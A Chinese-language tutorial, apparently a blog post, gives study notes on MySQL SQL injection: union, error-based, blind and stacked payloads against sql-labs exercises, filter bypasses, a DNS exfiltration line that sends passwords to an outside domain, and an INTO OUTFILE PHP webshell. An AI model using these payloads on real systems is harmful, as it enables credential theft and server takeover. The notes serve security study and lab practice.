10389 字
52 分钟
SQL注入学习+补课
2026-02-24

这是重新整理的SQL注入基础学习内容加补课,盲注部分的自动化脚本还在修正,之后附上,参考文章:1 2 3 4 5 6

本篇一共涉及七大章节,分别为

1 定义与核心原理
2 前置知识与相关概念
3 漏洞发现与判断
4 注入利用方式与核心手法
5 绕过方法
6 SQL实现RCE
7 SQL注入防御

1 定义与核心原理#

  • 是什么 攻击者通过在Web应用程序的输入端闭合原有SQL语句,并拼接恶意SQL代码,使数据库引擎将其作为合法指令执行的漏洞

  • 原理 “数据”与“代码”的边界模糊。服务器端/后端未对用户输入进行严格的过滤或转义,直接将其带入数据库进行动态拼接,导致用户输入被当作SQL指令解析并执行

  • 本质 平级拼接:程序直接把用户输入和 SQL 代码片段当作同等地位的字符串进行拼接,没有区分 “代码” 和 “数据”

  • 闭合与拼接讲解 假设后端有这样一段PHP代码处理用户登录

$sql = "SELECT * FROM users WHERE username = '" . $_POST['user'] . "' AND password = '" . $_POST['pass'] . "'";

我在user参数中填写:admin' # 那么经过拼接后,数据库真正接收到的执行语句变成了

SELECT * FROM users WHERE username = 'admin' #' AND password = ''

实现了单引号闭合和注释符截断。这条语句的功能就变成了:查询username为admin的用户,而密码验证被完全绕过。

2 前置知识与相关概念#

[sql注入思路.png]

2.1 关系型数据库层级结构#

数据库引擎 -> 数据库 (Database) -> 数据表 (Table) -> 字段/列 (Column) -> 具体数据行 (Row/Data)

2.2 information_schema#

在MySQL 5.0 及以上默认存在的系统自带库,这是一个极其关键的元数据库,它记录了整个MySQL实例中所有其他数据库的结构信息

该系统自带库有三个核心表

  • SCHEMATA表:记录了当前系统下所有的数据库信息。关键字段是 SCHEMA_NAME(数据库名),database()(可以获得使用数据库的名称)

  • TABLES表:记录了所有表的信息。关键字段是 TABLE_SCHEMA(表所属的数据库名)和 TABLE_NAME(表名)

  • COLUMNS表:记录了所有字段的信息。关键字段是 TABLE_SCHEMA(所属库名)、TABLE_NAME(所属表名)和 COLUMN_NAME(字段名)

2.3 基础编写示例#

编写SQL注入语句需要搞清楚三个核心问题:1. 我要查什么(SELECT) 2. 我从哪里查(FROM) 3. 限制条件是什么(WHERE)

(1)关于的核心表:information_schema.schemata

这张表记录了当前MySQL实例中所有的数据库信息

  • 需要查询的目标字段:schema_name,它代表各个数据库的名字。

  • 作为限制条件的字段:无

  • 应用场景:查询该服务器上的数据库

SELECT group_concat(schema_name) FROM information_schema.schemata

(2)关于的核心表:information_schema.tables

这张表记录了服务器上所有的数据表信息,只要是该服务器里的,不管属于哪个数据库,都在这个核心表里

  • 需要查询的目标字段:table_name,它代表表的名字。

  • 作为限制条件的字段:table_schema,它代表这个表属于哪一个数据库。由于服务器上有很多数据库,每个数据库里又有很多表,如果不加限制,就会把所有库的表都查出来。

  • 应用场景:通过 database() 函数已知当前网站的数据库名叫 security,要查这个库里有哪些表

SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema='security'

(3)关于字段的核心表:information_schema.columns

这张表记录了服务器上所有的字段信息

  • 需要查询的目标字段:column_name,它代表字段的名字。

  • 作为限制条件的字段:table_name(这个字段属于哪张表)和 table_schema(这个表属于哪个库)。

  • 应用场景:在上一步查到了一个名为 users 的表,现在要查这个表里有哪些字段(比如是否有 username, password 字段),我会构造语句:

SELECT group_concat(column_name) FROM information_schema.columns WHERE table_name='users' AND table_schema='security'
//table_schema='security',是为了防止其它数据库中也有同名的user表

3 漏洞发现与判断#

3.1 寻找注入点(数据交互点)#

一切用户可控的输入,只要最终会被带入数据库参与拼接查询,都是需要关注的靶区

  • GET 请求参数:URL 中的查询字符串,如 ?id=1?category=news。这是最直观、最常见的注入点。

  • POST 请求参数:表单提交的数据(如登录框的用户名密码、搜索框)、JSON 数据、XML 数据。

  • HTTP 请求头(Headers):经常被忽视的注入点。很多 Web 应用会将用户的请求头信息记录到数据库日志中(如 INSERT INTO logs ...)。

    • 常见易损头:User-AgentRefererX-Forwarded-ForClient-IPCookie

3.2 判断是否存在注入#

  • 测试的本质 输入特定的测试载荷(Payload),观察服务器的响应(内容变化、报错、时间延迟),以此反推后端的 SQL 拼接逻辑。

3.2.1 报错/闭合测试#

最粗暴的试探。通过输入破坏 SQL 语法的符号,看数据库是否会把错误信息回显到前端页面。

  • 测试符号'"\')'))")"))等。

  • 判断逻辑:如果输入 ' 导致页面出现类似 You have an error in your SQL syntax 的报错,或者页面结构直接崩溃(数据不显示),说明原本的 SQL 语句被成功“截断”和破坏了,大概率存在注入。

  • 特别说明:输入 \ 有时非常有效,它会吃掉(转义)后端代码自带的一个单引号,导致后面的语句报错,从而暴露出闭合结构。

3.2.2 逻辑/布尔测试#

当页面屏蔽了数据库报错信息时,我需要通过逻辑的真假来判断代码是否被执行。

  • 测试语句

    • 原链接:?id=1 (页面正常)

    • 构造真条件:?id=1 and 1=1 (页面正常显示 id=1 的内容)

    • 构造假条件:?id=1 and 1=2 (页面异常,或数据显示为空)

  • 判断逻辑:如果 and 1=1and 1=2 的页面回显不同,说明我输入的逻辑判断代码(and ...)被数据库成功解析并执行了,确认存在注入

3.2.3 算术运算测试#

利用数据库内置的算术运算引擎来判断。

  • 测试语句?id=2-1

  • 判断逻辑:如果页面返回的是 id=1 的内容,说明 2-1 没有被当成普通字符串,而是被数据库当作数学公式计算了,确认存在数字型注入

3.2.4 延时测试#

当页面既没有报错,也不随逻辑真假发生任何变化(即毫无回显的绝对盲打),我只能利用时间差来判断。

  • 测试语句?id=1 and sleep(5)

  • 判断逻辑:如果按下回车后,网页明显的卡顿了 5 秒钟左右才加载出来,说明 sleep(5) 函数被数据库执行了,确认存在时间盲注

3.3 注入类型与闭合符判断#

根据后端代码将“数据”拼接入 SQL 语句时的包裹方式不同,需要构造不同的闭合符

ps:这里说的数字型和字符型注入式最基本的闭合方式,判断出是哪种闭合方式之后,再有高级的利用方式(如报错、堆叠、盲注等)

3.3.1 数字型注入#

  • 后端逻辑猜想SELECT * FROM users WHERE id = $_GET['id'] (没有任何引号包裹)。

  • 特征:输入数字或数学表达式可以直接生效。

  • 测试?id=1 and 1=1正常 (不需要任何引号闭合,也不需要注释符)。 ?id=1 and 1=2报错

3.3.2 字符型注入#

  • 后端逻辑猜想SELECT * FROM users WHERE username = '$_GET['user']' (数据被单引号或双引号包裹)。

  • 特征:输入的数据如果带有空格或 and,会被整体当作一个字符串,无法执行。我必须先闭合前面的引号,再注释掉后面的引号。

  • 测试流程

    1. 加单引号闭合:?user=admin' (破坏语法,引发报错或异常)。

    2. 加注释符修复语法:?user=admin' --+ (页面恢复正常)。

    3. 注入逻辑:?user=admin' and 1=1 --+ (验证代码执行)。

3.3.3 常用注释与截断符#

  • --+-- -:MySQL 中最常用的单行注释符(注意 -- 后面必须有一个空格,URL 编码中 + 代表空格,或者直接用 -- - 防止空格被吃掉)。

  • #:MySQL 特有的注释符(在 URL 中需要编码为 %23,否则会被浏览器当成锚点忽略)。

  • /* ... */:多行注释符。在绕过 WAF(Web应用防火墙)时,经常用来代替空格(如 union/**/select)。

4 注入利用方式与核心手法#

基于数字型和字符型两种闭合方式,对于SQL我们可以有进一步的利用,根据利用方式的不同使用方法分成五大类进行说明

有一个基础万能语句

1' or '1' = '1

4.1 页面反馈类#

这是最基础也是最核心的分类,取决于数据库执行完毕后,前端页面能给我返回什么级别的信息

4.1.1 联合注入#

页面有清晰的数据回显位(即数据库查什么,页面就显示什么)。

  • 利用流程:利用 order by N 猜解列数 -> 利用 id=-1 union select 1,2,3 寻找屏幕上的回显位 -> 将注入语句(如查库名、表名)替换到显示位上。

这里使用字符型闭合(sql-labs less-1),具体闭合方式根据实际情况判断

?id=1'order by N--+
//判断表格有几列
?id=-1'union select 1,2,3--+
//查看哪一位是回显位。login name-2,password-3
?id=-1'union select 1,database(),version()--+
//可以看看数据库名和版本号。security;5.5.44-0ubuntu0.14.04.1
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
//爆表名——mails,referers,uagents,users
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+
//把字段名爆出来——id,username,password
?id=-1'union select 1,2,group_concat(id,username,password) from users--+ //成功爆完

4.1.2 报错注入#

页面没有数据回显,但会直接输出数据库的错误警告信息(如 mysql_error())。

  • 利用手法:故意构造畸形的 SQL 语句,利用特定函数在处理错误格式时,将其内部执行的数据作为报错信息抛出。

  • 核心函数

    • updatexml(1, concat(0x7e, (SELECT user()), 0x7e), 1):利用 XPath 格式错误报错。最大回显 32 字符。

    • extractvalue(1, concat(0x7e, (SELECT database()))):同上。

    • floor() + rand() + group by:利用虚表主键重复报错,无长度限制。

这里也使用字符型闭合(sql-labs less-13),具体闭合方式根据实际情况判断

1') and (extractvalue(1,concat(0x7e,version(),0x7e)))#
1') and (extractvalue(1,concat(0x7e,(select database()),0x7e)))--+
1')and (extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e)))#
1')and (extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e)))#
1')and (extractvalue(1,concat(0x7e,(select group_concat(username,password) from users),0x7e)))#

updatxml函数补记

updatexml()函数
- updatexml()是一个使用不同的xml标记匹配和替换xml块的函数。
- 作用:改变文档中符合条件的节点的值
- 语法: updatexml(XML_document,XPath_string,new_value) 第一个参数:是string格式,为XML文档对象的名称,文中为Doc 第二个参数:代表路径,Xpath格式的字符串例如//title【@lang】 第三个参数:`string`格式,替换查找到的符合条件的数据
- updatexml使用时,当xpath_string格式出现错误,mysql则会爆出xpath语法错误`(xpath syntax)`
- 例如: select * from test where ide = 1 and (updatexml(1,0x7e,3));由于0x7e是~,不属于xpath语法格式,因此报出xpath语法错误。

4.1.3  盲注体系#

页面既没有数据回显,也没有报错信息,只能通过极其微小的差异或时间延迟来推断数据。

  • 布尔盲注 (Boolean-based)

    • 页面在逻辑为“真”和“假”时存在细微不同(如“查询成功”与“查询为空”)。

    • 利用 ascii(substr(database(),1,1)) > 100 结合二分法,逐个字符猜解。

  • 时间盲注 (Time-based)

    • 页面无论真假都一模一样。只能通过响应时间判断。

    • 利用 if(ascii(substr(database(),1,1))=108, sleep(5), 1)。如果页面卡顿 5 秒才加载,说明猜对了。

  • Between 注入(盲注 Bypass 技巧)

    • 当 WAF 或代码过滤了大于号 >、小于号 < 或等于号 = 时,无法正常使用二分法。

    • 替代方案:利用 BETWEEN a AND b 代替范围判断。如 and ascii(substr(database(),1,1)) between 100 and 105

4.2 位置分类#

我们最常见的是在 WHERE id = ... 后面注入,但实战中注入点可能出现在 SQL 语句的其他位置

4.2.1 搜索框注入#

  • 场景:通常出现在后端的 LIKE 模糊查询中。如 SELECT * FROM news WHERE title LIKE '%$_POST['keyword']%'

  • 利用手法:必须先闭合前面的 % 和引号,再注释后面的 %

  • Payload 示例:输入 %' and 1=1 and '%'=',拼接后变成 LIKE '%%' and 1=1 and '%'='%'

4.2.2 order by 注入#

  • 场景:出现在排序功能中,如按照价格、时间排序:SELECT * FROM goods ORDER BY $_GET['sort']

  • 限制ORDER BY 后面不能接 UNION SELECT,常规手段失效。

  • 利用手法

    • 报错法?sort=updatexml(1,concat(0x7e,database()),1)

    • 布尔盲注法:利用 rand() 函数。?sort=rand(ascii(substr(database(),1,1))>100),根据返回结果的排序顺序不同来判断真假。

4.2.3 limit 注入#

  • 场景:出现在分页功能中:SELECT * FROM users LIMIT 0, $_GET['num']

  • 限制LIMIT 通常是 SQL 语句的最后一部分,后面极难拼接其他逻辑。

  • 利用手法:在 MySQL 5.0.0 到 5.6.6 版本之间,可以在 LIMIT 后面跟 PROCEDURE ANALYSE() 结合报错注入提取数据。更高版本通常只能依靠堆叠注入。

4.3 HTTP传参分类#

不局限于GET/POST 参数,只要后端获取了HTTP 请求中的数据并入库,就会产生注入

  • 场景:后端通过 $_COOKIE['user'] 获取数据并带入查询,且由于开发者盲目信任本地 Cookie,未做任何过滤。

  • 利用手法:使用抓包工具(如 BurpSuite),直接在 HTTP 请求头的 Cookie: user=admin' and 1=1# 中修改并发送载荷。

4.3.2 XFF 注入 (X-Forwarded-For)#

  • 场景:后端需要记录用户的真实 IP 地址(常见于日志记录、防刷票系统),使用 $_SERVER['HTTP_X_FORWARDED_FOR'] 获取并执行 INSERT 语句。

  • 利用手法:在请求头中手动添加或修改:X-Forwarded-For: 127.0.0.1' or sleep(5), 'xxx' #,通常结合报错注入或时间盲注。

4.4 进阶类#

4.4.1 堆叠注入#

  • 概念:利用分号 ; 结束当前正在执行的 SQL 语句,并在其后紧跟另一条全新的 SQL 语句。

  • 优势:不再局限于 SELECT 查询,可以直接执行 INSERT(添加管理员账号)、UPDATE(修改密码)、甚至 DROP(删库)。

  • 限制:高度依赖数据库 API 和配置(例如 PHP 的 PDO 默认禁用多语句执行,而 mysqli_multi_query 则允许)。

  • Payload?id=1'; INSERT INTO users (user,pass) VALUES ('hacker','123') --+

4.4.2 二次注入#

  • 概念:一种分两步走的逻辑漏洞。恶意数据在第一次输入时被转义(安全入库),但在第二次被调用取出时,未经过滤直接拼接入新的 SQL 语句。 [二次注入.png]

  • 利用流程

    1. 投毒:注册一个账号,用户名为 admin'#。由于后端有 addslashes(),它变成了 admin\'# 存入数据库。

    2. 触发:我登录 admin'# 账号,去修改密码。后端执行 UPDATE users SET pass='新密码' WHERE username='admin'#'。此时,# 注释了后面的单引号,我成功把真正 admin 的密码改掉了。

4.4.3 宽字节注入#

  • 概念:针对后端开启了单引号转义防御(如 addslashes,将 ' 变成 \')的一种字符编码绕过手法。

  • 前提

    • PHP 配置中 magic_quotes_gpc = On 或程序对单引号转义
    • 数据库连接使用 GBK、BIG5 等多字节字符集
    • 单引号 ' 被转义为 \'%5C%27
  • 原理:在 GBK 等双字节字符集中,一个汉字占 2 个字节。反斜杠 \ 的 ASCII 码 0x5C 正好在某些中文字符的第二个字节范围内。 输入 %df%27%27 是单引号)。后端在 %27 前面加上斜杠 %5c 进行转义,变成了 %df%5c%27。由于 GBK 编码会将两个字节识别为一个汉字,它把 %df%5c 组合识别成了汉字“運”,导致斜杠被吃掉,单引号 %27 成功逃逸。

- ` %df%5C` → 運
- `%bf%5C` → 縗
- `%aa%5C` → 需验证字符集支持
- 范围:首字节 `0x81–0xFE` + 尾字节 `0x40–0xFE`(包含 `0x5C`)
  • Payload?id=1%df' and 1=1 #
-- 正常查询
SELECT * FROM users WHERE id='1'
-- 转义后
SELECT * FROM users WHERE id='1\''
-- 宽字节注入后
SELECT * FROM users WHERE id='1運' union select 1,2,3 -- '

4.4.4 中转注入#

  • 概念:当目标网站的注入点在非常复杂的流程中(如数据需要先 RSA 加密再提交,或者需要多步请求),Sqlmap 等自动化工具无法直接打。

  • 利用手法:在本地自己写一个 Python 脚本作为“代理中转站”。Sqlmap 把最基础的 Payload 发给我的本地脚本,我的脚本将其打包、加密、组装成目标需要的复杂格式后再发给目标。

4.4.5 加密解密注入#

  • 概念:前端将参数(如 Base64、AES、DES)加密后发送给后端,后端解密后再进行 SQL 查询。

  • 利用手法:先弄清楚加密算法(通常在前端 JS 文件中)。然后把构建好的 SQL 注入 Payload 用相同的算法加密后,再发送给服务端测试。

4.4.6 无列名注入#

通常情况是columns被ban了或者information被ban了 等读取不到列名的情况。用sys的一些库可以获取表名,但是sys库需要root权限才能访问。innodb在mysql中是默认关闭的。

  • InnoDb 从MYSQL5.5.8开始,InnoDB成为其默认存储引擎。而在MYSQL5.6以上的版本中,inndb增加了innodb_index_stats和innodb_table_stats两张表,这两张表中都存储了数据库和其数据表的信息,但是没有存储列名
mysql.innodb_table_stats
mysql.innodb_index_stats

可以用来代替information_schema.tables查表名 例如

-1' union select 1,2,group_concat(table_name) from mysql.innodb_table_stats where database_name='security'--+
  • sys 在5.7以上的MYSQL中,新增了sys数据库,该库的基础数据来自information_schema和performance_chema,其本身不存储数据。可以通过其中的schema_auto_increment_columns来获取表名
schema_table_statistics_with_buffer
schema_table_statistics
schema_auto_increment_columns
  • 设置别名来绕过列名 union可以构造一个虚拟表
select 1,2,3 union select * from users;
+----+----------+------------+
| 1 | 2 | 3 |
+----+----------+------------+
| 1 | 2 | 3 |
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
+----+----------+------------+
select 字段数要和tables数一样
后面用
select `3` from (select 1,2,3 union select * from users)x;
x不可以省略,这是别名

如果反引号被过滤了,可以设置别名 as可以省略

select b from (select 1 a,2 b,3 c union select * from users)x;
  • 通过assic位移无列名注入 首先可以通过类似这样的语句爆出字段数
    (select 1,2,3) > (select *from teacher)
    字段数相等会返回1,不相等则会报错 然后通过比较ascii大小爆数据。 脚本
import requests
import time
def ascii_tuple_blind_injection(url, table_name, columns_count):
"""
通过ASCII位移进行无列名注入
"""
result = ""
# 假设我们提取第一行第一列的数据
for position in range(1, 100): # 位置从1开始
low, high = 32, 126 # ASCII范围
while low <= high:
mid = (low + high) // 2
# 构造元组,假设要提取的列在第二个位置
# (1, '猜测的字符串', 3, ...) 根据列数调整
if columns_count == 2:
payload = f"(1,'{result + chr(mid)}')"
elif columns_count == 3:
payload = f"(1,'{result + chr(mid)}',1)"
# ... 根据实际列数构造
# 完整的注入payload
sql = f"2||({payload}>(select * from {table_name} limit 1))"
data = {'id': sql}
response = requests.post(url, data=data)
if "错误标志" in response.text: # 根据实际响应调整
# 猜测值 > 实际值,实际值在左半区
high = mid - 1
else:
# 猜测值 <= 实际值,实际值在右半区
low = mid + 1
# 找到实际字符
actual_char = chr(low - 1) if low > 32 else ''
if not actual_char or actual_char == chr(126):
break # 结束
result += actual_char
print(f"进度: {result}")
return result

4.5 带外通道提取数据 (OOB)#

4.5.1 Dnslog 对外注入 / 带外注入#

  • 概念:当遇到极致盲注环境,用布尔或延时提取数据太慢,或者服务器不出网拦截了大量 HTTP 响应时使用。
  • 原理:利用数据库的外联请求能力,把数据强行通过 DNS 查询头带出来。
  • 前提:以 MySQL 为例,需要当前用户有较高权限(如 root)且全局变量 secure_file_priv 为空。
  • 核心函数load_file()
  • Payload 示例?id=1' and load_file(concat('\\\\', (select password from users limit 1), '.mydnslog.cn\\abc')) --+
  • 执行逻辑:数据库查询出密码后,拼接成一个包含目标数据的域名网址,并尝试去访问。我只要去我自己的 DNSLog 平台查看解析记录,就能在一秒钟内直接看到携带在子域名位置的密码数据,省去了写 Python 脚本慢慢跑盲注的时间。

4.5.2 扩读写文件#

  • 读文件使用load_file()函数
select load_file("E:\\flag.txt");
  • 写文件使用into outfile
select 1,'<?php eval($_POST[1]);?>',3 into outfile "/var/www/html/shell.php";

知识点补充

知识点 / 函数名详细说明与作用
LIKE '%...%'数据库中的模糊查询匹配符。% 代表任意多个字符。搜索框注入必须处理这两个 % 的闭合。
BETWEEN a AND b用于选取两个值之间的数据范围(包含边界)。在注入中常用于代替被 WAF 过滤的 <>
PROCEDURE ANALYSE()MySQL 的一个内置过程,用于分析查询结果并提出优化建议。它是少数可以合法放在 LIMIT 后面的语句,常用于突破 LIMIT 注入。
load_file()MySQL 读取系统本地文件的函数。在注入中,除了读取密码本,还可以通过 UNC 路径语法(\\域名\路径)强制数据库向外发起 DNS 请求,实现带外数据回显。
addslashes()PHP 中常用的安全防御函数。会在单引号、双引号、反斜杠前自动添加反斜杠(\)进行转义。宽字节注入和二次注入都是为了绕过它的防御。
GBK 编码特性一种中文字符集,采用双字节表示一个汉字。首字节范围在 0x81~0xFE 之间。这是触发宽字节注入“吃掉转义符”的根本底层原因。
带外通信 (OOB)不通过当前攻击的这条 HTTP 通信链路返回数据,而是让服务器通过另一条协议链路(如 DNS、SMB、HTTP)主动把数据发送到黑客控制的服务器上。

5 绕过方法#

5.1 过滤空格#

  • 空格包裹
SELECT(GROUP_CONCAT(schema_name))FROM(information_schema.schemata);
  • 内联注释/**/
SELECT/**/GROUP_CONCAT(schema_name)/**/FROM/**/information_schema.schemata;
  • 符号替代
%0D Carriage Return,回车 代替空格
%0A Line Feed,换行 代替空格
%0C Form Feed,换页 代替空格
%09 Horizontal Tab,水平制表 代替空格
%0B Vertical Tab,垂直制表 代替空格
%A0 Non-breaking space (MySQL only),不间断空格 代替空格
  • 反引号包裹变量名
SELECT(GROUP_CONCAT(schema_name))FROM`information_schema`.`schemata`;

5.2 过滤引号#

  • 转义 \ 掉闭合符
    • 后端逻辑SELECT ... WHERE id='$_GET[id]' AND passwd='$_GET[passwd]'

    • Payloadid=1\&passwd=UNION SELECT 1,2,3--

    • 解析结果WHERE id='1\' AND passwd=' UNION SELECT 1,2,3--'。此时,id 的值变成了 1' AND passwd=,而后一个单引号刚好与前面的闭合,使得 UNION 成功逃逸到语法层。

  • 十六进制编码 当需要输入字符串(如 'admin')但引号被禁时,直接使用 0x 开头的十六进制代替
SELECT 0x616263; #SELECT 'abc'

5.3 过滤逗号#

  • 联合查询 (UNION) 中的逗号替换:使用 JOIN 构造多列回显。
SELECT * FROM (SELECT 1) AS a JOIN (SELECT 2) AS b JOIN (SELECT 3) AS c;
#select 1,2,3;
  • 截取函数 (substr()、substring()、mid()) 中的逗号替换:使用 FROM ... FOR ... 语法。
SELECT SUBSTRING(DATABASE() FROM 1 FOR 1);
#SUBSTRING(DATABASE(), 1, 1)
SELECT SUBSTR(DATABASE() FROM 1 FOR 1);
#SELECT SUBSTR(DATABASE(), 1, 1);
SELECT MID(DATABASE() FROM 1 FOR 1);
#SELECT MID(DATABASE(), 1, 1);
  • 分页限制 (LIMIT) 中的逗号替换:使用 OFFSET 语法。
SELECT * FROM users LIMIT 1 OFFSET 0;
#LIMIT 0, 1
  • 盲注模糊查询
SELECT DATABASE() LIKE 's%'
/*
等价于 SELECT ASCII(SUBSTRING(DATABASE(), 1, 1))=115;
s% 是一个模式字符串,其中 % 是通配符
% 表示任意数量的字符(包括零个字符)
s% 匹配所有以 s 开头的字符串,不论其后有多少字符
*/

LIKE 支持以下通配符:

  • %:匹配零个或多个字符。
  • _:匹配单个字符。
LIKE 'u%':匹配以 u 开头的所有字符串。
LIKE '%123':匹配以 123 结尾的所有字符串。
LIKE '_b%':匹配第二个字符是 b 的所有字符串(如 ab123、cb_test)。
LIKE 't__t':匹配 t 开头、接两个字符、然后是 t 的字符串(如 test)

5.4 过滤比较符#

1. 过滤大于号 > 和小于号 < 可以使用 GREATEST()LEAST() 函数。这两个函数分别返回给定参数列表中的最大值和最小值,且参数数量不定。通过判断返回的值是否是我的基准值,就能侧面推断出大小关系。

  • SELECT GREATEST(1, 2, 3, 4, 5); (返回 5)

  • SELECT LEAST(1, 2); (返回 1)

  • 应用逻辑:例如要判断 ASCII 码是否大于 100,可以使用 GREATEST(ASCII(SUBSTRING(DATABASE(),1,1)), 100)。如果返回值不是 100,说明该字符的 ASCII 码必然大于 100。

2. 过滤等号 = 绕过等号的方式非常丰富,涵盖了模式匹配、正则、集合判断以及特殊比较函数。

  • LIKE / RLIKE / REGEXP 匹配代替

    • LIKE:可以代替等号,但有时遇到末尾空格等特殊情况会有“不相等还返回 1”的误差。例如:SELECT DATABASE() LIKE 's%';

    • REGEXP / RLIKERLIKEREGEXP 的同义词,用于判断字符串是否包含符合正则规则的部分。默认是不区分大小写的。

    • 结合 BINARY 区分大小写:如果需要精准区分大小写,必须在前面加上 BINARY 关键字强制转换。

SELECT 'abc' REGEXP 'A'; -- 返回 1 (不区分大小写)
SELECT BINARY 'abc' REGEXP 'A'; -- 返回 0 (严格区分大小写后不匹配)
SELECT BINARY DATABASE() REGEXP '^s'; -- 判断数据库名是否以小写 s 开头
  • STRCMP(str1, str2) 字符串比较函数 通过比较两个字符串的字典序来返回不同的数字结果。

    • str1 = str2 -> 返回 0

    • str1 < str2 -> 返回 -1

    • str1 > str2 -> 返回 1

    • 应用逻辑:只要判断 STRCMP(猜测值, 真实值) 的结果是否为 0,就能等效于判断它们是否相等。

  • IN 语法 用于判断某个值是否在指定的集合中。当集合中只放入一个目标值时,完美等效于等号判断。

-- 是 115 则返回 1,否则返回 0
SELECT ASCII(SUBSTRING(DATABASE(), 1, 1)) IN (115);
  • BETWEEN … AND … 范围查询 原本用于判断数据是否落在某个区间内,但如果把范围的起点和终点设置成同一个值,就等效于精准匹配。
-- 落在 115 到 115 之间(即等于 115)则返回 1,否则返回 0
SELECT ASCII(SUBSTRING(DATABASE(), 1, 1)) BETWEEN 115 AND 115;
  • <> 不等于符号逆向思维 如果 = 被过滤,但 <> 存活,可以通过逆向逻辑判断(即利用“排除法”来确认结果)。
-- 只要不等于 115 就返回 1,反之如果是 115 则返回 0
SELECT ASCII(SUBSTRING(DATABASE(), 1, 1)) <> 115;

5.5 过滤逻辑运算符#

and &&
or ||
not !
xor |

5.6 过滤IF#

**1. 逻辑中断(短路特性)

OR / ||** 这是最高效、最底层的绕过方式,利用了 MySQL 处理逻辑运算符时的“短路(Short-circuit)”特性。

  • 原理:对于 OR||)运算,只需其中一个表达式为真,整个表达式就为真。因此,程序从左到右执行时,如果前一个表达式判断为真,就会直接忽略并跳过执行后一个表达式

  • 实战应用:我可以利用这个特性,把原本写在 IF 里的 SLEEP() 函数挂在 OR 的后面,达到条件判断的效果。

-- 假设 database() 为 "security",第一个字母的 ASCII 码为 115 (即 's')
-- 场景 A:条件为真。因为前一个表达式成立,MySQL 不会执行后面的 SLEEP(1)
SELECT ASCII(SUBSTRING(DATABASE(), 1, 1))=115 || SLEEP(1);
-- 场景 B:条件为假。因为前一个表达式不成立,程序必须执行后一个表达式才能确定整体的真假,从而触发了 SLEEP(1),导致页面延时
SELECT ASCII(SUBSTRING(DATABASE(), 1, 1))=114 || SLEEP(1);

2. CASE WHEN...THEN...ELSE...END 结构

这是 SQL 中原生的条件控制语句,用法完全等同于大部分编程语言中的三目运算符,是 IF() 函数最完美的语法级平替。

  • 原理CASE WHEN 条件 THEN 成立时返回的结果 ELSE 不成立时返回的结果 END
-- 条件为真,返回 1
SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END;
-- 条件为假,返回 2
SELECT CASE WHEN 1=2 THEN 1 ELSE 2 END;
-- 结合盲注使用:如果库名长度大于5,则延时3秒,否则不延时
SELECT CASE WHEN LENGTH(DATABASE())>5 THEN SLEEP(3) ELSE 1 END;

3. ELT(N, str1, str2, ..., strN) 函数

这是一个非常有意思的字符串提取函数,它会从一个参数列表中返回对应位置的字符串。配合逻辑运算返回 01 的特性,它可以在盲注中大放异彩。

  • 基本原理: 假设有一张表 my_table,包含字段 idcategory(值为 1、2 或 3),我希望根据数值返回对应的字符串: SELECT id, ELT(category, 'Electronics', 'Books', 'Clothing') AS category_name FROM my_table; 此时,如果 category 的值为 1,就返回 ‘Electronics’;为 2,就返回 ‘Books’。

  • 实战盲注应用: 在 MySQL 中,逻辑判断表达式成立会返回 1,不成立返回 0。由于 ELT 函数的索引是从 1 开始的,如果条件为真(即返回 1),它就会去执行参数列表里的第一个表达式。如果条件为假(返回 0),它找不到第 0 个参数,就会返回 NULL,什么也不做。

-- 假设数据库名长度确实大于 3,条件为真返回 1。
-- ELT 会去执行并返回列表中第 1 个参数,也就是 SLEEP(3),从而触发延时。
SELECT ELT((LENGTH(DATABASE())>3), SLEEP(3));

4. LOCATE(str1, str2) 函数

这个函数主要用于比较输入的两个字符串。虽然它不直接执行逻辑分支控制,但在某些禁用等于号和 IF 的极度受限环境中,可以用来验证特定字符的存在。

  • 原理:第一个参数 str1 是参照物(要找的子串),第二个参数 str2 是参照对象(母串)。该函数会判断母串中是否含有该子串:

    • 不含有,则返回 0

    • 含有,则返回该子串在母串中第一次出现的位置(大于 0 的整数)。

  • 实战应用:可以将盲注猜解的字母作为 str1,目标数据作为 str2,通过返回值是否大于 0 来判断字符是否猜对。

5.7 过滤关键字#

  • 1. 大小写绕过

    • 策略:打破 WAF 对固定全小写或全大写单词的精确匹配。

    • 形态对比

union -> UnIoN
select -> sElEcT
  • 2. 双写绕过

    • 策略:针对 WAF 仅执行一次“替换为空”的操作,利用拼接重新生成关键字。

    • 形态对比

union -> uniunionon
select -> selselectect
  • 3. 等价语法与同义词替换

    • 策略:利用 SQL 语法的多样性,使用黑名单之外的等价词汇。

    • 形态对比

UNION SELECT -> 替换为 UNION ALL SELECT 或 UNION DISTINCT SELECT
AND / OR -> 替换为 && / ||
  • 4. 内联注释隔离(MySQL 特性)

    • 策略:利用 /*! ... */ 将关键字包裹。在 MySQL 中该内容会被执行,但 WAF 可能将其视为无害注释,从而拆散非法组合。

    • 形态对比

UNION SELECT -> 替换为 /*!UNION*/SELECT
UNION SELECT -> 替换为 UNION/*!SELECT*/
UNION SELECT -> 替换为 /*!50000UNION*//**//*!50000SELECT*/
  • 5. 特殊打断符插入

    • 策略:在关键字之间插入正则规则未能覆盖的特殊符号或空白符,打断连续性特征。

    • 形态对比

插入普通注释:UNION/**/SELECT
插入不可见字符:UNION%0ASELECT (利用换行打断)、UNION(%0B)SELECT

5.8 过滤information_schema#

InnoDB 引擎
MySQL 5.6及以上
mysql.innodb_table_stats
代替information_schema.tables

mysql> select * from mysql.innodb_table_stats;
+---------------+-----------------+---------------------+--------+----------------------+--------------------------+
| database_name | table_name | last_update | n_rows | clustered_index_size | sum_of_other_index_sizes |
+---------------+-----------------+---------------------+--------+----------------------+--------------------------+
| bookmanage | book | 2024-11-08 16:57:53 | 100 | 1 | 0 |
| bookmanage | person | 2024-11-08 16:57:43 | 103 | 1 | 0 |
| bookmanage | record | 2024-11-08 16:58:04 | 100 | 1 | 0 |
